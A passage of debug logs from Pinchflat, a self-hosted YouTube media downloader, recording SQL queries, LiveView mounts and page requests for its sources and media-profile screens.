s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:51.088 [debug] Replied in 3ms 21:10:51.091 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:10:51.092 [debug] QUERY OK source="tasks" db=0.4ms idle=12.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:10:51.092 [debug] QUERY OK source="media_items" db=0.2ms idle=12.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [19, 20] 21:10:51.092 [debug] Replied in 1ms 21:10:51.094 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:10:51.094 [debug] Replied in 109µs 21:10:58.646 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.583 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:02.627 [info] GET /media_profiles 21:11:02.627 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 21:11:02.628 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1570.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 21:11:02.628 [debug] QUERY OK source="settings" db=0.1ms idle=1129.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:02.628 [debug] QUERY OK source="settings" db=0.1ms idle=571.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:02.629 [debug] QUERY OK source="settings" db=0.2ms idle=571.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:02.630 [info] Sent 200 in 3ms 21:11:02.860 [info] CONNECTED TO Phoenix.LiveView.Socket in 25µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ey0LCjRVAycgYXMlNRVYKHMsbmEBBToHxJYiZ0zKpRCRmY7kAoYP6RLj", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:11:02.869 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:11:02.869 [debug] Replied in 112µs 21:11:03.548 [info] GET /sources 21:11:03.548 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:11:03.549 [debug] QUERY OK source="settings" db=0.1ms idle=920.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:03.549 [debug] QUERY OK source="settings" db=0.1ms idle=920.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:03.549 [debug] QUERY OK source="settings" db=0.0ms idle=921.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:03.550 [debug] QUERY OK source="settings" db=0.0ms idle=921.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:03.550 [debug] QUERY OK source="settings" db=0.1ms idle=48.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:03.551 [debug] QUERY OK source="sources" db=0.5ms idle=1.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:11:03.552 [debug] QUERY OK source="sources" db=1.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:11:03.554 [info] Sent 200 in 5ms 21:11:03.808 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MiMIBFYhIzYdZQYydXQHGWoHeVdQJzpaYDZg8DZZMV6E-8hZXDNfgpL7", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:11:03.881 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:11:03.882 [debug] QUERY OK source="sources" db=0.7ms idle=332.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:11:03.883 [debug] QUERY OK source="sources" db=0.9ms idle=332.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:11:03.884 [debug] Replied in 2ms 21:11:03.885 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:11:03.885 [debug] Replied in 93µs 21:11:04.592 [info] GET /sources/new 21:11:04.592 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 21:11:04.593 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1041.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:11:04.593 [debug] QUERY OK source="settings" db=0.2ms idle=1040.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:04.594 [debug] QUERY OK source="settings" db=0.3ms idle=711.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:04.595 [debug] QUERY OK source="settings" db=0.1ms idle=710.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:04.595 [debug] QUERY OK source="settings" db=0.2ms idle=90.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:04.597 [debug] QUERY OK source="settings" db=0.4ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:04.597 [info] CONNECTED TO Phoenix.LiveView.Socket in 39µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MiMIBFYhIzYdZQYydXQHGWoHeVdQJzpaYDZg8DZZMV6E-8hZXDNfgpL7", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:11:04.601 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:11:04.602 [info] Sent 200 in 10ms 21:11:04.604 [debug] QUERY OK source="sources" db=1.5ms idle=8.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:11:04.607 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:11:04.607 [debug] Replied in 5ms 21:11:04.610 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:11:04.610 [debug] Replied in 177µs 21:11:04.930 [info] CONNECTED TO Phoenix.LiveView.Socket in 42µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "KiswJjkGKD5jAUcudSgcJHY0dkhuYSYKALbEWcQR32wY-dsgDwAyY6Pg", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:11:05.001 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:11:05.001 [debug] Replied in 232µs 21:11:16.187 [info] CONNECTED TO Phoenix.LiveView.Socket in 29µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MiMIBFYhIzYdZQYydXQHGWoHeVdQJzpaYDZg8DZZMV6E-8hZXDNfgpL7", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:11:16.197 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:11:16.198 [debug] QUERY OK source="sources" db=0.5ms idle=675.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT 